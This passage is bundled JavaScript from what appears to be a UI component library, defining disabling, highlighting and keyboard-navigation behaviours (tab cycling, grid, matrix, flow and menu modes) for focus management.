      disableConfig.disableClass.each(disableClass => {
        add$2(component.element, disableClass);
      });
      const f = hasNative(component, disableConfig) ? nativeDisable : ariaDisable;
      f(component);
      disableConfig.onDisabled(component);
    };
    const enable = (component, disableConfig, _disableState) => {
      disableConfig.disableClass.each(disableClass => {
        remove$2(component.element, disableClass);
      });
      const f = hasNative(component, disableConfig) ? nativeEnable : ariaEnable;
      f(component);
      disableConfig.onEnabled(component);
    };
    const isDisabled = (component, disableConfig) => hasNative(component, disableConfig) ? nativeIsDisabled(component) : ariaIsDisabled(component);
    const set$4 = (component, disableConfig, disableState, disabled) => {
      const f = disabled ? disable : enable;
      f(component, disableConfig);
    };

    var DisableApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        enable: enable,
        disable: disable,
        isDisabled: isDisabled,
        onLoad: onLoad$1,
        set: set$4
    });

    const exhibit$5 = (base, disableConfig) => nu$7({ classes: disableConfig.disabled() ? disableConfig.disableClass.toArray() : [] });
    const events$e = (disableConfig, disableState) => derive$2([
      abort(execute$5(), (component, _simulatedEvent) => isDisabled(component, disableConfig)),
      loadEvent(disableConfig, disableState, onLoad$1)
    ]);

    var ActiveDisable = /*#__PURE__*/Object.freeze({
        __proto__: null,
        exhibit: exhibit$5,
        events: events$e
    });

    var DisableSchema = [
      defaultedFunction('disabled', never),
      defaulted('useNative', true),
      option$3('disableClass'),
      onHandler('onDisabled'),
      onHandler('onEnabled')
    ];

    const Disabling = create$4({
      fields: DisableSchema,
      name: 'disabling',
      active: ActiveDisable,
      apis: DisableApis
    });

    const dehighlightAllExcept = (component, hConfig, hState, skip) => {
      const highlighted = descendants(component.element, '.' + hConfig.highlightClass);
      each$1(highlighted, h => {
        const shouldSkip = exists(skip, skipComp => eq(skipComp.element, h));
        if (!shouldSkip) {
          remove$2(h, hConfig.highlightClass);
          component.getSystem().getByDom(h).each(target => {
            hConfig.onDehighlight(component, target);
            emit(target, dehighlight$1());
          });
        }
      });
    };
    const dehighlightAll = (component, hConfig, hState) => dehighlightAllExcept(component, hConfig, hState, []);
    const dehighlight = (component, hConfig, hState, target) => {
      if (isHighlighted(component, hConfig, hState, target)) {
        remove$2(target.element, hConfig.highlightClass);
        hConfig.onDehighlight(component, target);
        emit(target, dehighlight$1());
      }
    };
    const highlight = (component, hConfig, hState, target) => {
      dehighlightAllExcept(component, hConfig, hState, [target]);
      if (!isHighlighted(component, hConfig, hState, target)) {
        add$2(target.element, hConfig.highlightClass);
        hConfig.onHighlight(component, target);
        emit(target, highlight$1());
      }
    };
    const highlightFirst = (component, hConfig, hState) => {
      getFirst(component, hConfig).each(firstComp => {
        highlight(component, hConfig, hState, firstComp);
      });
    };
    const highlightLast = (component, hConfig, hState) => {
      getLast(component, hConfig).each(lastComp => {
        highlight(component, hConfig, hState, lastComp);
      });
    };
    const highlightAt = (component, hConfig, hState, index) => {
      getByIndex(component, hConfig, hState, index).fold(err => {
        throw err;
      }, firstComp => {
        highlight(component, hConfig, hState, firstComp);
      });
    };
    const highlightBy = (component, hConfig, hState, predicate) => {
      const candidates = getCandidates(component, hConfig);
      const targetComp = find$5(candidates, predicate);
      targetComp.each(c => {
        highlight(component, hConfig, hState, c);
      });
    };
    const isHighlighted = (component, hConfig, hState, queryTarget) => has(queryTarget.element, hConfig.highlightClass);
    const getHighlighted = (component, hConfig, _hState) => descendant(component.element, '.' + hConfig.highlightClass).bind(e => component.getSystem().getByDom(e).toOptional());
    const getByIndex = (component, hConfig, hState, index) => {
      const items = descendants(component.element, '.' + hConfig.itemClass);
      return Optional.from(items[index]).fold(() => Result.error(new Error('No element found with index ' + index)), component.getSystem().getByDom);
    };
    const getFirst = (component, hConfig, _hState) => descendant(component.element, '.' + hConfig.itemClass).bind(e => component.getSystem().getByDom(e).toOptional());
    const getLast = (component, hConfig, _hState) => {
      const items = descendants(component.element, '.' + hConfig.itemClass);
      const last = items.length > 0 ? Optional.some(items[items.length - 1]) : Optional.none();
      return last.bind(c => component.getSystem().getByDom(c).toOptional());
    };
    const getDelta$2 = (component, hConfig, hState, delta) => {
      const items = descendants(component.element, '.' + hConfig.itemClass);
      const current = findIndex$1(items, item => has(item, hConfig.highlightClass));
      return current.bind(selected => {
        const dest = cycleBy(selected, delta, 0, items.length - 1);
        return component.getSystem().getByDom(items[dest]).toOptional();
      });
    };
    const getPrevious = (component, hConfig, hState) => getDelta$2(component, hConfig, hState, -1);
    const getNext = (component, hConfig, hState) => getDelta$2(component, hConfig, hState, +1);
    const getCandidates = (component, hConfig, _hState) => {
      const items = descendants(component.element, '.' + hConfig.itemClass);
      return cat(map$2(items, i => component.getSystem().getByDom(i).toOptional()));
    };

    var HighlightApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        dehighlightAll: dehighlightAll,
        dehighlight: dehighlight,
        highlight: highlight,
        highlightFirst: highlightFirst,
        highlightLast: highlightLast,
        highlightAt: highlightAt,
        highlightBy: highlightBy,
        isHighlighted: isHighlighted,
        getHighlighted: getHighlighted,
        getFirst: getFirst,
        getLast: getLast,
        getPrevious: getPrevious,
        getNext: getNext,
        getCandidates: getCandidates
    });

    var HighlightSchema = [
      required$1('highlightClass'),
      required$1('itemClass'),
      onHandler('onHighlight'),
      onHandler('onDehighlight')
    ];

    const Highlighting = create$4({
      fields: HighlightSchema,
      name: 'highlighting',
      apis: HighlightApis
    });

    const BACKSPACE = [8];
    const TAB = [9];
    const ENTER = [13];
    const ESCAPE = [27];
    const SPACE = [32];
    const LEFT = [37];
    const UP = [38];
    const RIGHT = [39];
    const DOWN = [40];

    const cyclePrev = (values, index, predicate) => {
      const before = reverse(values.slice(0, index));
      const after = reverse(values.slice(index + 1));
      return find$5(before.concat(after), predicate);
    };
    const tryPrev = (values, index, predicate) => {
      const before = reverse(values.slice(0, index));
      return find$5(before, predicate);
    };
    const cycleNext = (values, index, predicate) => {
      const before = values.slice(0, index);
      const after = values.slice(index + 1);
      return find$5(after.concat(before), predicate);
    };
    const tryNext = (values, index, predicate) => {
      const after = values.slice(index + 1);
      return find$5(after, predicate);
    };

    const inSet = keys => event => {
      const raw = event.raw;
      return contains$2(keys, raw.which);
    };
    const and = preds => event => forall(preds, pred => pred(event));
    const isShift = event => {
      const raw = event.raw;
      return raw.shiftKey === true;
    };
    const isControl = event => {
      const raw = event.raw;
      return raw.ctrlKey === true;
    };
    const isNotShift = not(isShift);

    const rule = (matches, action) => ({
      matches,
      classification: action
    });
    const choose = (transitions, event) => {
      const transition = find$5(transitions, t => t.matches(event));
      return transition.map(t => t.classification);
    };

    const reportFocusShifting = (component, prevFocus, newFocus) => {
      const noChange = prevFocus.exists(p => newFocus.exists(n => eq(n, p)));
      if (!noChange) {
        emitWith(component, focusShifted(), {
          prevFocus,
          newFocus
        });
      }
    };
    const dom$2 = () => {
      const get = component => search(component.element);
      const set = (component, focusee) => {
        const prevFocus = get(component);
        component.getSystem().triggerFocus(focusee, component.element);
        const newFocus = get(component);
        reportFocusShifting(component, prevFocus, newFocus);
      };
      return {
        get,
        set
      };
    };
    const highlights = () => {
      const get = component => Highlighting.getHighlighted(component).map(item => item.element);
      const set = (component, element) => {
        const prevFocus = get(component);
        component.getSystem().getByDom(element).fold(noop, item => {
          Highlighting.highlight(component, item);
        });
        const newFocus = get(component);
        reportFocusShifting(component, prevFocus, newFocus);
      };
      return {
        get,
        set
      };
    };

    var FocusInsideModes;
    (function (FocusInsideModes) {
      FocusInsideModes['OnFocusMode'] = 'onFocus';
      FocusInsideModes['OnEnterOrSpaceMode'] = 'onEnterOrSpace';
      FocusInsideModes['OnApiMode'] = 'onApi';
    }(FocusInsideModes || (FocusInsideModes = {})));

    const typical = (infoSchema, stateInit, getKeydownRules, getKeyupRules, optFocusIn) => {
      const schema = () => infoSchema.concat([
        defaulted('focusManager', dom$2()),
        defaultedOf('focusInside', 'onFocus', valueOf(val => contains$2([
          'onFocus',
          'onEnterOrSpace',
          'onApi'
        ], val) ? Result.value(val) : Result.error('Invalid value for focusInside'))),
        output$1('handler', me),
        output$1('state', stateInit),
        output$1('sendFocusIn', optFocusIn)
      ]);
      const processKey = (component, simulatedEvent, getRules, keyingConfig, keyingState) => {
        const rules = getRules(component, simulatedEvent, keyingConfig, keyingState);
        return choose(rules, simulatedEvent.event).bind(rule => rule(component, simulatedEvent, keyingConfig, keyingState));
      };
      const toEvents = (keyingConfig, keyingState) => {
        const onFocusHandler = keyingConfig.focusInside !== FocusInsideModes.OnFocusMode ? Optional.none() : optFocusIn(keyingConfig).map(focusIn => run$1(focus$4(), (component, simulatedEvent) => {
          focusIn(component, keyingConfig, keyingState);
          simulatedEvent.stop();
        }));
        const tryGoInsideComponent = (component, simulatedEvent) => {
          const isEnterOrSpace = inSet(SPACE.concat(ENTER))(simulatedEvent.event);
          if (keyingConfig.focusInside === FocusInsideModes.OnEnterOrSpaceMode && isEnterOrSpace && isSource(component, simulatedEvent)) {
            optFocusIn(keyingConfig).each(focusIn => {
              focusIn(component, keyingConfig, keyingState);
              simulatedEvent.stop();
            });
          }
        };
        const keyboardEvents = [
          run$1(keydown(), (component, simulatedEvent) => {
            processKey(component, simulatedEvent, getKeydownRules, keyingConfig, keyingState).fold(() => {
              tryGoInsideComponent(component, simulatedEvent);
            }, _ => {
              simulatedEvent.stop();
            });
          }),
          run$1(keyup(), (component, simulatedEvent) => {
            processKey(component, simulatedEvent, getKeyupRules, keyingConfig, keyingState).each(_ => {
              simulatedEvent.stop();
            });
          })
        ];
        return derive$2(onFocusHandler.toArray().concat(keyboardEvents));
      };
      const me = {
        schema,
        processKey,
        toEvents
      };
      return me;
    };

    const create$2 = cyclicField => {
      const schema = [
        option$3('onEscape'),
        option$3('onEnter'),
        defaulted('selector', '[data-alloy-tabstop="true"]:not(:disabled)'),
        defaulted('firstTabstop', 0),
        defaulted('useTabstopAt', always),
        option$3('visibilitySelector')
      ].concat([cyclicField]);
      const isVisible = (tabbingConfig, element) => {
        const target = tabbingConfig.visibilitySelector.bind(sel => closest$1(element, sel)).getOr(element);
        return get$d(target) > 0;
      };
      const findInitial = (component, tabbingConfig) => {
        const tabstops = descendants(component.element, tabbingConfig.selector);
        const visibles = filter$2(tabstops, elem => isVisible(tabbingConfig, elem));
        return Optional.from(visibles[tabbingConfig.firstTabstop]);
      };
      const findCurrent = (component, tabbingConfig) => tabbingConfig.focusManager.get(component).bind(elem => closest$1(elem, tabbingConfig.selector));
      const isTabstop = (tabbingConfig, element) => isVisible(tabbingConfig, element) && tabbingConfig.useTabstopAt(element);
      const focusIn = (component, tabbingConfig, _tabbingState) => {
        findInitial(component, tabbingConfig).each(target => {
          tabbingConfig.focusManager.set(component, target);
        });
      };
      const goFromTabstop = (component, tabstops, stopIndex, tabbingConfig, cycle) => cycle(tabstops, stopIndex, elem => isTabstop(tabbingConfig, elem)).fold(() => tabbingConfig.cyclic ? Optional.some(true) : Optional.none(), target => {
        tabbingConfig.focusManager.set(component, target);
        return Optional.some(true);
      });
      const go = (component, _simulatedEvent, tabbingConfig, cycle) => {
        const tabstops = descendants(component.element, tabbingConfig.selector);
        return findCurrent(component, tabbingConfig).bind(tabstop => {
          const optStopIndex = findIndex$1(tabstops, curry(eq, tabstop));
          return optStopIndex.bind(stopIndex => goFromTabstop(component, tabstops, stopIndex, tabbingConfig, cycle));
        });
      };
      const goBackwards = (component, simulatedEvent, tabbingConfig) => {
        const navigate = tabbingConfig.cyclic ? cyclePrev : tryPrev;
        return go(component, simulatedEvent, tabbingConfig, navigate);
      };
      const goForwards = (component, simulatedEvent, tabbingConfig) => {
        const navigate = tabbingConfig.cyclic ? cycleNext : tryNext;
        return go(component, simulatedEvent, tabbingConfig, navigate);
      };
      const execute = (component, simulatedEvent, tabbingConfig) => tabbingConfig.onEnter.bind(f => f(component, simulatedEvent));
      const exit = (component, simulatedEvent, tabbingConfig) => tabbingConfig.onEscape.bind(f => f(component, simulatedEvent));
      const getKeydownRules = constant$1([
        rule(and([
          isShift,
          inSet(TAB)
        ]), goBackwards),
        rule(inSet(TAB), goForwards),
        rule(and([
          isNotShift,
          inSet(ENTER)
        ]), execute)
      ]);
      const getKeyupRules = constant$1([rule(inSet(ESCAPE), exit)]);
      return typical(schema, NoState.init, getKeydownRules, getKeyupRules, () => Optional.some(focusIn));
    };

    var AcyclicType = create$2(customField('cyclic', never));

    var CyclicType = create$2(customField('cyclic', always));

    const doDefaultExecute = (component, _simulatedEvent, focused) => {
      dispatch(component, focused, execute$5());
      return Optional.some(true);
    };
    const defaultExecute = (component, simulatedEvent, focused) => {
      const isComplex = inside(focused) && inSet(SPACE)(simulatedEvent.event);
      return isComplex ? Optional.none() : doDefaultExecute(component, simulatedEvent, focused);
    };
    const stopEventForFirefox = (_component, _simulatedEvent) => Optional.some(true);

    const schema$v = [
      defaulted('execute', defaultExecute),
      defaulted('useSpace', false),
      defaulted('useEnter', true),
      defaulted('useControlEnter', false),
      defaulted('useDown', false)
    ];
    const execute$4 = (component, simulatedEvent, executeConfig) => executeConfig.execute(component, simulatedEvent, component.element);
    const getKeydownRules$5 = (component, _simulatedEvent, executeConfig, _executeState) => {
      const spaceExec = executeConfig.useSpace && !inside(component.element) ? SPACE : [];
      const enterExec = executeConfig.useEnter ? ENTER : [];
      const downExec = executeConfig.useDown ? DOWN : [];
      const execKeys = spaceExec.concat(enterExec).concat(downExec);
      return [rule(inSet(execKeys), execute$4)].concat(executeConfig.useControlEnter ? [rule(and([
          isControl,
          inSet(ENTER)
        ]), execute$4)] : []);
    };
    const getKeyupRules$5 = (component, _simulatedEvent, executeConfig, _executeState) => executeConfig.useSpace && !inside(component.element) ? [rule(inSet(SPACE), stopEventForFirefox)] : [];
    var ExecutionType = typical(schema$v, NoState.init, getKeydownRules$5, getKeyupRules$5, () => Optional.none());

    const flatgrid$1 = () => {
      const dimensions = value$2();
      const setGridSize = (numRows, numColumns) => {
        dimensions.set({
          numRows,
          numColumns
        });
      };
      const getNumRows = () => dimensions.get().map(d => d.numRows);
      const getNumColumns = () => dimensions.get().map(d => d.numColumns);
      return nu$8({
        readState: () => dimensions.get().map(d => ({
          numRows: String(d.numRows),
          numColumns: String(d.numColumns)
        })).getOr({
          numRows: '?',
          numColumns: '?'
        }),
        setGridSize,
        getNumRows,
        getNumColumns
      });
    };
    const init$d = spec => spec.state(spec);

    var KeyingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        flatgrid: flatgrid$1,
        init: init$d
    });

    const useH = movement => (component, simulatedEvent, config, state) => {
      const move = movement(component.element);
      return use(move, component, simulatedEvent, config, state);
    };
    const west$1 = (moveLeft, moveRight) => {
      const movement = onDirection(moveLeft, moveRight);
      return useH(movement);
    };
    const east$1 = (moveLeft, moveRight) => {
      const movement = onDirection(moveRight, moveLeft);
      return useH(movement);
    };
    const useV = move => (component, simulatedEvent, config, state) => use(move, component, simulatedEvent, config, state);
    const use = (move, component, simulatedEvent, config, state) => {
      const outcome = config.focusManager.get(component).bind(focused => move(component.element, focused, config, state));
      return outcome.map(newFocus => {
        config.focusManager.set(component, newFocus);
        return true;
      });
    };
    const north$1 = useV;
    const south$1 = useV;
    const move$1 = useV;

    const isHidden$1 = dom => dom.offsetWidth <= 0 && dom.offsetHeight <= 0;
    const isVisible = element => !isHidden$1(element.dom);

    const locate = (candidates, predicate) => findIndex$1(candidates, predicate).map(index => ({
      index,
      candidates
    }));

    const locateVisible = (container, current, selector) => {
      const predicate = x => eq(x, current);
      const candidates = descendants(container, selector);
      const visible = filter$2(candidates, isVisible);
      return locate(visible, predicate);
    };
    const findIndex = (elements, target) => findIndex$1(elements, elem => eq(target, elem));

    const withGrid = (values, index, numCols, f) => {
      const oldRow = Math.floor(index / numCols);
      const oldColumn = index % numCols;
      return f(oldRow, oldColumn).bind(address => {
        const newIndex = address.row * numCols + address.column;
        return newIndex >= 0 && newIndex < values.length ? Optional.some(values[newIndex]) : Optional.none();
      });
    };
    const cycleHorizontal$1 = (values, index, numRows, numCols, delta) => withGrid(values, index, numCols, (oldRow, oldColumn) => {
      const onLastRow = oldRow === numRows - 1;
      const colsInRow = onLastRow ? values.length - oldRow * numCols : numCols;
      const newColumn = cycleBy(oldColumn, delta, 0, colsInRow - 1);
      return Optional.some({
        row: oldRow,
        column: newColumn
      });
    });
    const cycleVertical$1 = (values, index, numRows, numCols, delta) => withGrid(values, index, numCols, (oldRow, oldColumn) => {
      const newRow = cycleBy(oldRow, delta, 0, numRows - 1);
      const onLastRow = newRow === numRows - 1;
      const colsInRow = onLastRow ? values.length - newRow * numCols : numCols;
      const newCol = clamp(oldColumn, 0, colsInRow - 1);
      return Optional.some({
        row: newRow,
        column: newCol
      });
    });
    const cycleRight$1 = (values, index, numRows, numCols) => cycleHorizontal$1(values, index, numRows, numCols, +1);
    const cycleLeft$1 = (values, index, numRows, numCols) => cycleHorizontal$1(values, index, numRows, numCols, -1);
    const cycleUp$1 = (values, index, numRows, numCols) => cycleVertical$1(values, index, numRows, numCols, -1);
    const cycleDown$1 = (values, index, numRows, numCols) => cycleVertical$1(values, index, numRows, numCols, +1);

    const schema$u = [
      required$1('selector'),
      defaulted('execute', defaultExecute),
      onKeyboardHandler('onEscape'),
      defaulted('captureTab', false),
      initSize()
    ];
    const focusIn$3 = (component, gridConfig, _gridState) => {
      descendant(component.element, gridConfig.selector).each(first => {
        gridConfig.focusManager.set(component, first);
      });
    };
    const findCurrent$1 = (component, gridConfig) => gridConfig.focusManager.get(component).bind(elem => closest$1(elem, gridConfig.selector));
    const execute$3 = (component, simulatedEvent, gridConfig, _gridState) => findCurrent$1(component, gridConfig).bind(focused => gridConfig.execute(component, simulatedEvent, focused));
    const doMove$2 = cycle => (element, focused, gridConfig, gridState) => locateVisible(element, focused, gridConfig.selector).bind(identified => cycle(identified.candidates, identified.index, gridState.getNumRows().getOr(gridConfig.initSize.numRows), gridState.getNumColumns().getOr(gridConfig.initSize.numColumns)));
    const handleTab = (_component, _simulatedEvent, gridConfig) => gridConfig.captureTab ? Optional.some(true) : Optional.none();
    const doEscape$1 = (component, simulatedEvent, gridConfig) => gridConfig.onEscape(component, simulatedEvent);
    const moveLeft$3 = doMove$2(cycleLeft$1);
    const moveRight$3 = doMove$2(cycleRight$1);
    const moveNorth$1 = doMove$2(cycleUp$1);
    const moveSouth$1 = doMove$2(cycleDown$1);
    const getKeydownRules$4 = constant$1([
      rule(inSet(LEFT), west$1(moveLeft$3, moveRight$3)),
      rule(inSet(RIGHT), east$1(moveLeft$3, moveRight$3)),
      rule(inSet(UP), north$1(moveNorth$1)),
      rule(inSet(DOWN), south$1(moveSouth$1)),
      rule(and([
        isShift,
        inSet(TAB)
      ]), handleTab),
      rule(and([
        isNotShift,
        inSet(TAB)
      ]), handleTab),
      rule(inSet(SPACE.concat(ENTER)), execute$3)
    ]);
    const getKeyupRules$4 = constant$1([
      rule(inSet(ESCAPE), doEscape$1),
      rule(inSet(SPACE), stopEventForFirefox)
    ]);
    var FlatgridType = typical(schema$u, flatgrid$1, getKeydownRules$4, getKeyupRules$4, () => Optional.some(focusIn$3));

    const horizontal = (container, selector, current, delta) => {
      const isDisabledButton = candidate => name$3(candidate) === 'button' && get$f(candidate, 'disabled') === 'disabled';
      const tryCycle = (initial, index, candidates) => {
        const newIndex = cycleBy(index, delta, 0, candidates.length - 1);
        if (newIndex === initial) {
          return Optional.none();
        } else {
          return isDisabledButton(candidates[newIndex]) ? tryCycle(initial, newIndex, candidates) : Optional.from(candidates[newIndex]);
        }
      };
      return locateVisible(container, current, selector).bind(identified => {
        const index = identified.index;
        const candidates = identified.candidates;
        return tryCycle(index, index, candidates);
      });
    };

    const schema$t = [
      required$1('selector'),
      defaulted('getInitial', Optional.none),
      defaulted('execute', defaultExecute),
      onKeyboardHandler('onEscape'),
      defaulted('executeOnMove', false),
      defaulted('allowVertical', true)
    ];
    const findCurrent = (component, flowConfig) => flowConfig.focusManager.get(component).bind(elem => closest$1(elem, flowConfig.selector));
    const execute$2 = (component, simulatedEvent, flowConfig) => findCurrent(component, flowConfig).bind(focused => flowConfig.execute(component, simulatedEvent, focused));
    const focusIn$2 = (component, flowConfig, _state) => {
      flowConfig.getInitial(component).orThunk(() => descendant(component.element, flowConfig.selector)).each(first => {
        flowConfig.focusManager.set(component, first);
      });
    };
    const moveLeft$2 = (element, focused, info) => horizontal(element, info.selector, focused, -1);
    const moveRight$2 = (element, focused, info) => horizontal(element, info.selector, focused, +1);
    const doMove$1 = movement => (component, simulatedEvent, flowConfig, flowState) => movement(component, simulatedEvent, flowConfig, flowState).bind(() => flowConfig.executeOnMove ? execute$2(component, simulatedEvent, flowConfig) : Optional.some(true));
    const doEscape = (component, simulatedEvent, flowConfig) => flowConfig.onEscape(component, simulatedEvent);
    const getKeydownRules$3 = (_component, _se, flowConfig, _flowState) => {
      const westMovers = LEFT.concat(flowConfig.allowVertical ? UP : []);
      const eastMovers = RIGHT.concat(flowConfig.allowVertical ? DOWN : []);
      return [
        rule(inSet(westMovers), doMove$1(west$1(moveLeft$2, moveRight$2))),
        rule(inSet(eastMovers), doMove$1(east$1(moveLeft$2, moveRight$2))),
        rule(inSet(ENTER), execute$2),
        rule(inSet(SPACE), execute$2)
      ];
    };
    const getKeyupRules$3 = constant$1([
      rule(inSet(SPACE), stopEventForFirefox),
      rule(inSet(ESCAPE), doEscape)
    ]);
    var FlowType = typical(schema$t, NoState.init, getKeydownRules$3, getKeyupRules$3, () => Optional.some(focusIn$2));

    const toCell = (matrix, rowIndex, columnIndex) => Optional.from(matrix[rowIndex]).bind(row => Optional.from(row[columnIndex]).map(cell => ({
      rowIndex,
      columnIndex,
      cell
    })));
    const cycleHorizontal = (matrix, rowIndex, startCol, deltaCol) => {
      const row = matrix[rowIndex];
      const colsInRow = row.length;
      const newColIndex = cycleBy(startCol, deltaCol, 0, colsInRow - 1);
      return toCell(matrix, rowIndex, newColIndex);
    };
    const cycleVertical = (matrix, colIndex, startRow, deltaRow) => {
      const nextRowIndex = cycleBy(startRow, deltaRow, 0, matrix.length - 1);
      const colsInNextRow = matrix[nextRowIndex].length;
      const nextColIndex = clamp(colIndex, 0, colsInNextRow - 1);
      return toCell(matrix, nextRowIndex, nextColIndex);
    };
    const moveHorizontal = (matrix, rowIndex, startCol, deltaCol) => {
      const row = matrix[rowIndex];
      const colsInRow = row.length;
      const newColIndex = clamp(startCol + deltaCol, 0, colsInRow - 1);
      return toCell(matrix, rowIndex, newColIndex);
    };
    const moveVertical = (matrix, colIndex, startRow, deltaRow) => {
      const nextRowIndex = clamp(startRow + deltaRow, 0, matrix.length - 1);
      const colsInNextRow = matrix[nextRowIndex].length;
      const nextColIndex = clamp(colIndex, 0, colsInNextRow - 1);
      return toCell(matrix, nextRowIndex, nextColIndex);
    };
    const cycleRight = (matrix, startRow, startCol) => cycleHorizontal(matrix, startRow, startCol, +1);
    const cycleLeft = (matrix, startRow, startCol) => cycleHorizontal(matrix, startRow, startCol, -1);
    const cycleUp = (matrix, startRow, startCol) => cycleVertical(matrix, startCol, startRow, -1);
    const cycleDown = (matrix, startRow, startCol) => cycleVertical(matrix, startCol, startRow, +1);
    const moveLeft$1 = (matrix, startRow, startCol) => moveHorizontal(matrix, startRow, startCol, -1);
    const moveRight$1 = (matrix, startRow, startCol) => moveHorizontal(matrix, startRow, startCol, +1);
    const moveUp$1 = (matrix, startRow, startCol) => moveVertical(matrix, startCol, startRow, -1);
    const moveDown$1 = (matrix, startRow, startCol) => moveVertical(matrix, startCol, startRow, +1);

    const schema$s = [
      requiredObjOf('selectors', [
        required$1('row'),
        required$1('cell')
      ]),
      defaulted('cycles', true),
      defaulted('previousSelector', Optional.none),
      defaulted('execute', defaultExecute)
    ];
    const focusIn$1 = (component, matrixConfig, _state) => {
      const focused = matrixConfig.previousSelector(component).orThunk(() => {
        const selectors = matrixConfig.selectors;
        return descendant(component.element, selectors.cell);
      });
      focused.each(cell => {
        matrixConfig.focusManager.set(component, cell);
      });
    };
    const execute$1 = (component, simulatedEvent, matrixConfig) => search(component.element).bind(focused => matrixConfig.execute(component, simulatedEvent, focused));
    const toMatrix = (rows, matrixConfig) => map$2(rows, row => descendants(row, matrixConfig.selectors.cell));
    const doMove = (ifCycle, ifMove) => (element, focused, matrixConfig) => {
      const move = matrixConfig.cycles ? ifCycle : ifMove;
      return closest$1(focused, matrixConfig.selectors.row).bind(inRow => {
        const cellsInRow = descendants(inRow, matrixConfig.selectors.cell);
        return findIndex(cellsInRow, focused).bind(colIndex => {
          const allRows = descendants(element, matrixConfig.selectors.row);
          return findIndex(allRows, inRow).bind(rowIndex => {
            const matrix = toMatrix(allRows, matrixConfig);
            return move(matrix, rowIndex, colIndex).map(next => next.cell);
          });
        });
      });
    };
    const moveLeft = doMove(cycleLeft, moveLeft$1);
    const moveRight = doMove(cycleRight, moveRight$1);
    const moveNorth = doMove(cycleUp, moveUp$1);
    const moveSouth = doMove(cycleDown, moveDown$1);
    const getKeydownRules$2 = constant$1([
      rule(inSet(LEFT), west$1(moveLeft, moveRight)),
      rule(inSet(RIGHT), east$1(moveLeft, moveRight)),
      rule(inSet(UP), north$1(moveNorth)),
      rule(inSet(DOWN), south$1(moveSouth)),
      rule(inSet(SPACE.concat(ENTER)), execute$1)
    ]);
    const getKeyupRules$2 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]);
    var MatrixType = typical(schema$s, NoState.init, getKeydownRules$2, getKeyupRules$2, () => Optional.some(focusIn$1));

    const schema$r = [
      required$1('selector'),
      defaulted('execute', defaultExecute),
      defaulted('moveOnTab', false)
    ];
    const execute = (component, simulatedEvent, menuConfig) => menuConfig.focusManager.get(component).bind(focused => menuConfig.execute(component, simulatedEvent, focused));
    const focusIn = (component, menuConfig, _state) => {
      descendant(component.element, menuConfig.selector).each(first => {
        menuConfig.focusManager.set(component, first);
      });
    };
    const moveUp = (element, focused, info) => horizontal(element, info.selector, focused, -1);
    const moveDown = (element, focused, info) => horizontal(element, info.selector, focused, +1);
    const fireShiftTab = (component, simulatedEvent, menuConfig, menuState) => menuConfig.moveOnTab ? move$1(moveUp)(component, simulatedEvent, menuConfig, menuState) : Optional.none();
    const fireTab = (component, simulatedEvent, menuConfig, menuState) => menuConfig.moveOnTab ? move$1(moveDown)(component, simulatedEvent, menuConfig, menuState) : Optional.none();
    const getKeydownRules$1 = constant$1([
      rule(inSet(UP), move$1(moveUp)),
      rule(inSet(DOWN), move$1(moveDown)),
      rule(and([
        isShift,
        inSet(TAB)
      ]), fireShiftTab),
      rule(and([
        isNotShift,
        inSet(TAB)
      ]), fireTab),
      rule(inSet(ENTER), execute),
      rule(inSet(SPACE), execute)
    ]);
    const getKeyupRules$1 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]);
    var MenuType = typical(schema$r, NoState.init, getKeydownRules$1, getKeyupRules$1, () => Optional.some(focusIn));

    const schema$q = [
      onKeyboardHandler('onSpace'),
      onKeyboardHandler('onEnter'),
      onKeyboardHandler('onShiftEnter'),
      onKeyboardHandler('onLeft'),
      onKeyboardHandler('onRight'),
      onKeyboardHandler('onTab'),
      onKeyboardHandler('onShiftTab'),
      onKeyboardHandler('onUp'),
      onKeyboardHandler('onDown'),
      onKeyboardHandler('onEscape'),
      defaulted('stopSpaceKeyup', false),
      option$3('focusIn')
    ];
    const getKeydownRules = (component, simulatedEvent, specialInfo) => [
      rule(inSet(SPACE), specialInfo.onSpace),
      rule(and([
        isNotShift,
        inSet(ENTER)
      ]), specialInfo.onEnter),
      rule(and([
        isShift,
        inSet(ENTER)
      ]), specialInfo.onShiftEnter),
      rule(and([
        isShift,
        inSet(TAB)
      ]), specialInfo.onShiftTab),
      rule(and([
        isNotShift,
        inSet(TAB)
      ]), specialInfo.onTab),
      rule(inSet(UP), specialInfo.onUp),
      rule(inSet(DOWN), specialInfo.onDown),
      rule(inSet(LEFT), specialInfo.onLeft),
      rule(inSet(RIGHT), specialInfo.onRight),
      rule(inSet(SPACE), specialInfo.onSpace)
    ];
    const getKeyupRules = (component, simulatedEvent, specialInfo) => [
      ...specialInfo.stopSpaceKeyup ? [rule(inSet(SPACE), stopEventForFirefox)] : [],
      rule(inSet(ESCAPE), specialInfo.onEscape)
    ];
    var SpecialType = typical(schema$q, NoState.init, getKeydownRules, getKeyupRules, specialInfo => specialInfo.focusIn);

    const acyclic = AcyclicType.schema();
    const cyclic = CyclicType.schema();
    const flow = FlowType.schema();
    const flatgrid = FlatgridType.schema();
    const matrix = MatrixType.schema();
    const execution = ExecutionType.schema();
    const menu = MenuType.schema();
    const special = SpecialType.schema();

    var KeyboardBranches = /*#__PURE__*/Object.freeze({
        __proto__: null,
        acyclic: acyclic,
        cyclic: cyclic,
        flow: flow,
        flatgrid: flatgrid,
        matrix: matrix,
        execution: execution,
        menu: menu,
        special: special
    });

    const isFlatgridState = keyState => hasNonNullableKey(keyState, 'setGridSize');
    const Keying = createModes({
      branchKey: 'mode',
      branches: KeyboardBranches,
      name: 'keying',
      active: {
        events: (keyingConfig, keyingState) => {
          const handler = keyingConfig.handler;
          return handler.toEvents(keyingConfig, keyingState);
        }
      },
      apis: {
        focusIn: (component, keyConfig, keyState) => {
          keyConfig.sendFocusIn(keyConfig).fold(() => {
            component.getSystem().triggerFocus(component.element, component.element);
          }, sendFocusIn => {
            sendFocusIn(component, keyConfig, keyState);
          });
        },
        setGridSize: (component, keyConfig, keyState, numRows, numColumns) => {
          if (!isFlatgridState(keyState)) {
            console.error('Layout does not support setGridSize');
          } else {
            keyState.setGridSize(numRows, numColumns);
          }
        }
      },
      state: KeyingState
    });

    const withoutReuse = (parent, data) => {
      preserve$1(() => {
        replaceChildren(parent, data, () => map$2(data, parent.getSystem().build));
      }, parent.element);
    };
    const withReuse = (parent, data) => {
      preserve$1(() => {
